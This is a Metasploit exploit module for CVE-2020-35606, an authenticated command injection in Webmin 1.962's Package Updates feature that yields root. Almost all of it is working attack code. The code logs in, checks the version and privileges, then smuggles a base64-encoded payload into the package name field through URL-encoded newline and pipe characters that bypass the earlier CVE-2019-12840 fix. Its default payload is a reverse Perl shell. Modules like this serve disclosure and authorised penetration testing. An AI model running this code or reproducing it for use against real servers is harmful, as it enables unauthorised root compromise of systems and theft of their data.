Webmin 1.962 - 'Package Updates' Escape Bypass RCE (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Webmin 1.962 - Package Update Escape Bypass RCE (Metasploit)',
      'Description'    => %q(
        This module exploits an arbitrary command execution vulnerability in Webmin
        1.962 and lower versions. Any user authorized to the "Package Updates"
        module can execute arbitrary commands with root privileges.
        It emerged by circumventing the measure taken for CVE-2019-12840.
        s/\\(-)|\\(.)/string/g; escape is not enough for prevention.
        Therefore, since the package name variable is placed directly in the system command,
        we can manipulate it using some escape characters that HTTP supports.
        For example, we can escape control by dropping the command line down one line.
        We can do this with "%0A" and "%0C" urlencoded row values.Also, for paylad to work correctly,
        we must add double an ampersand(&&) to the end of the payload (%26%26)
      ),
      'Author'         => [
        'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', 'CVE-2020-35606'],
          ['URL', 'https://www.pentest.com.tr/exploits/Webmin-1962-PU-Escape-Bypass-Remote-Command-Execution.html']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'DefaultOptions' =>
        {
          'RPORT' => 10000,
          'SSL'   => false,
          'PAYLOAD' => 'cmd/unix/reverse_perl'
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Webmin <= 1.962', {}]],
      'DisclosureDate' => '2020-12-21',
      'DefaultTarget'  => 0)
    )
    register_options [
        OptString.new('USERNAME',  [true, 'Webmin Username']),
        OptString.new('PASSWORD',  [true, 'Webmin Password']),
        OptString.new('TARGETURI',  [true, 'Base path for Webmin application', '/'])
    ]
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end

  def login
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'session_login.cgi'),
      'cookie' => 'testing=1', # it must be used for "Error - No cookies"
      'vars_post' => {
        'page' => '',
        'user' => datastore['USERNAME'],
        'pass' => datastore['PASSWORD']
      }
    })

    if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
      return $1
    end

    return nil unless res
    ''
  end

  def check
    cookie = login
    return CheckCode::Detected if cookie == ''
    return CheckCode::Unknown if cookie.nil?

    vprint_status('Attempting to execute...')
    # check version
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, "sysinfo.cgi"),
      'cookie'  => "sid=#{cookie}",
      'vars_get' => { "xnavigation" => "1" }
    })

    if res && res.code == 302 && res.body
      version = res.body.split("Webmin 1.")[1]
      return CheckCode::Detected if version.nil?
      version = version.split(" ")[0]
      if version <= "962"
        # check package update priv
        res = send_request_cgi({
          'uri'     => normalize_uri(target_uri.path, "package-updates/"),
          'cookie'  => "sid=#{cookie}"
        })

        if res && res.code == 200 && res.body =~ /Software Package Update/
          print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")
          return CheckCode::Vulnerable
        end
      end
    end
    print_error("#{datastore['USERNAME']} doesn't have the right to >>Package Update<<")
    print_status("Please try with another user account!")
    CheckCode::Safe
  end

  def exploit
    cookie = login
    if cookie == '' || cookie.nil?
      fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
    end
    print_good("Session cookie: #{cookie}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
      'headers' => { 'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1" },
      'cookie' => "sid=#{cookie}"
    )
    unless res && res.code == 200
      fail_with(Failure::Unknown, 'Request failed')
    end

    print_status("Attempting to execute the payload...")
    run_update(cookie)
  end

  def run_update(cookie)
    @b64p = Rex::Text.encode_base64(payload.encoded)
    perl_payload = 'bash -c "{echo,' + "#{@b64p}" + '}|{base64,-d}|{bash,-i}"'
    payload = Rex::Text.uri_encode(perl_payload)

    res = send_request_cgi(
      {
        'method' => 'POST',
        'cookie' => "sid=#{cookie}",
        'ctype'  => 'application/x-www-form-urlencoded',
        'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),
        'headers' =>
          {
            'Referer' => "#{peer}/package-updates/?xnavigation=1"
          },
        # new vector // bypass to backslash  %0A%7C{}%26%26
        'data' => "redir=%2E%2E%2Fsquid%2F&redirdesc=Squid%20Proxy%20Server&mode=new&u=squid34%0A%7C#{payload}%26%26"
        # for CVE-2019-12840 #'data' => "u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages"
      })
  end
end